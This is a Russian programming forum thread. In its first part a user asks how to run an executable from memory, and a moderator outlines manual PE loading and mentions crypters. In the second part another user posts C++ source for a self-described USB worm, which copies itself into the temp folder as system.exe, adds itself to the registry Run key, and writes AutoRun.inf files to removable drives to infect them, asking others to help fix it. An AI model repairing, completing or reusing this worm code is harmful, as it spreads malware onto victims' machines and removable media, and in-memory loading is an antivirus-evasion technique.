[C++] Запуск exe из массива в память. Как?
|
Slash
|
Дата: Воскресенье, 09.02.2014, 21:59 | Сообщение # 1
|
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
|
Собственно я считал exe файл в массив, как его запустить напрямую из массива без создание файлов на диске???
Сообщение отредактировал Slash - Воскресенье, 09.02.2014, 21:59
|
|
|
|
|
Волк-1024
|
Дата: Воскресенье, 09.02.2014, 23:29 | Сообщение # 2
|
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 469
Статус: Offline
|
Если в кратце то: сначала выравниваешь секции, затем делаешь релокацию образа, правишь импорт, экспорт (если есть) и затем создаёшь поток с точкой EP. В общем много кода придётся городить.
Pascal, C\C++, Assembler, Python
Сообщение отредактировал Волк-1024 - Воскресенье, 09.02.2014, 23:30
|
|
|
|
|
Slash
|
Дата: Понедельник, 10.02.2014, 00:01 | Сообщение # 3
|
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
|
Цитата Волк-1024 ( )
Если в кратце то: сначала выравниваешь секции, затем делаешь релокацию образа, правишь импорт, экспорт (если есть) и затем создаёшь поток с точкой EP. В общем много кода придётся городить.
А примерчик?
|
|
|
|
|
Волк-1024
|
Дата: Понедельник, 10.02.2014, 03:00 | Сообщение # 4
|
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 469
Статус: Offline
|
Гуглим:
http://www.rsdn.ru/article/baseserv/peloader.xml
http://www.delphibasics.info/home....erazerz
https://code.google.com/p....0
http://winlock.ru/viewtopic.php?id=1540
И вообще данный функционал есть в любом мало-мальски нормальном крипторе.
Добавлено (10.02.2014, 01:56)
---------------------------------------------
В первой ссылке ответы на все вопросы.
Добавлено (10.02.2014, 03:00)
---------------------------------------------
Аххх.. чёрт, не заметил, что нужно на С++, а не на Делфи 
Pascal, C\C++, Assembler, Python
Сообщение отредактировал Волк-1024 - Понедельник, 10.02.2014, 02:59
|
|
|
|
|
Волк-1024
|
Дата: Понедельник, 10.02.2014, 03:04 | Сообщение # 5
|
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 469
Статус: Offline
|
Вот.
Pascal, C\C++, Assembler, Python
|
|
|
|
|
Slash
|
Дата: Понедельник, 10.02.2014, 22:31 | Сообщение # 6
|
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
|
Цитата Волк-1024 ( )
Прикрепления: peldr.zip(35Kb) · PEImage.zip(9Kb) · pe_lib_0.1.5.zip(229Kb)
Благодарствую.
|
|
|
|
|
Волк-1024
|
Дата: Понедельник, 10.02.2014, 23:34 | Сообщение # 7
|
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 469
Статус: Offline
|
Ещё.
Pascal, C\C++, Assembler, Python
|
|
|
|
|
Slash
|
Дата: Среда, 12.02.2014, 01:58 | Сообщение # 8
|
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
|
Цитата Волк-1024 ( )
Ещё.
Спасибо!
Сообщение отредактировал Slash - Среда, 12.02.2014, 02:02
|
|
|
|
|
Volf
|
Дата: Пятница, 28.02.2014, 09:29 | Сообщение # 9
|
Частый гость
Зарегистрирован: 11.04.2013
Группа: Пользователи
Сообщений: 41
Статус: Offline
|
Доброе время суток!
Начал изучать C++ возникла куча вопросов с которыми постепенно разбираюсь!
Но вот незадача,решил написать простенький червячок.Копируется в папку темп и тупо создает файл AutoRun.inf на съемных дисках.
Проблем заключается в том что я толком не знаю как юзать преобразование переменных.В результате на флешке выше указанный файл не создается.Зато в папке с программой появляется файл имя которого это буква съемного диска,в файле текст моего авторана.Смотрел по шагово выполнение программы отладчиком..не помогло.
Кому интересно гляньте код,готов к любой критике))
Код
#include <fstream>
#include "StdAfx.h"
#include <io.h>
#include <windows.h>
#include <stdio.h>
//#define MAX_LOADSTRING 100
bool IsFileExist(LPCTSTR strFileName)
{
HANDLE hFile = ::CreateFile(strFileName,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
return (hFile != INVALID_HANDLE_VALUE);
}
BOOL AddMyProgramToAutostart(TCHAR* szPath)
{
HKEY hKey = NULL;
RegOpenKey(HKEY_CURRENT_USER,TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hKey);
if(!hKey)
return(FALSE);
RegSetValueEx(hKey,TEXT("Irbis"),0,REG_SZ,(PBYTE)szPath,lstrlen(szPath)*sizeof(TCHAR));
RegCloseKey(hKey);
return(TRUE);
}
void AvtoRun(LPCTSTR name)
{
//_tcscat((wchar_t *)name,L"AutoRun.inf");
FILE *file=fopen ((PCHAR)(LPCTSTR)name,"w");
MessageBox(0,(LPCTSTR)name,0,0);
if (file)
{
fprintf(file, "[autorun]\nOpen=usbdrive.exe\n");
fprintf(file, "icon=%%SystemRoot%%\\system32\\SHELL32.dll,4\n");
fprintf(file, "action=Open folder to view files\n");
fprintf(file, "shell\\open=Open\n");
fprintf(file, "shell\\open\\command=usbdrive.exe\n");
fprintf(file, "shell\\open\\default=1\n");
fclose(file);
}
else
{
MessageBox(0,0,0,0);
}
}
//Заражение флешек
PCHAR find_usbflash ()
{
TCHAR* FIleR[5];
TCHAR buf[100];
int i;
int Ser = rand() % 5 ;
PCHAR drive;
TCHAR buffer[MAX_PATH];
DWORD len = GetLogicalDriveStrings(sizeof(buf)/sizeof(TCHAR),buf);
for(TCHAR* s=buf; *s; s+=_tcslen(s)+1)
{
LPCTSTR sDrivePath = s;
UINT uDriveType = GetDriveType(sDrivePath);
if (uDriveType == DRIVE_REMOVABLE)
{
AvtoRun(((LPCTSTR)s));
}
return 0;
}
}
}
//*******************
//Создание мьютекса
bool MyMytex()
{
HANDLE hMutex;
hMutex = CreateMutex(NULL,TRUE,_T("/1/"));
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
return true;
}
else
{
return false;
}
}
//*************
//Процедура установки программы
BOOL Setap()
{
TCHAR buffer[MAX_PATH];
TCHAR temp[MAX_PATH];
STARTUPINFO si;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
PROCESS_INFORMATION pi;
memset(&pi, 0, sizeof(pi));
GetModuleFileName(NULL,buffer,sizeof(buffer));
GetTempPath(MAX_PATH,temp);
_tcscat(temp,_T("system.exe"));
if(IsFileExist(temp))
{
AddMyProgramToAutostart(temp);
}
else
{
CopyFile(buffer,temp,false);
CreateProcess(NULL, temp, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
AddMyProgramToAutostart(temp);
ExitProcess(0);
}
return 0;
}
//**********
int FindKey()
{
int kodkey;
short key=GetKeyState(kodkey);
switch(key)
{
case VK_LCONTROL:MessageBox(0,0,0,0);
}
return key;
}
//Маин класс
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
if(MyMytex()==true)
{
ExitProcess(0);
}
Setap();
while(true)
{
Sleep(5000);
find_usbflash();
}
return 0;
}
//**********
|
|
|
|
|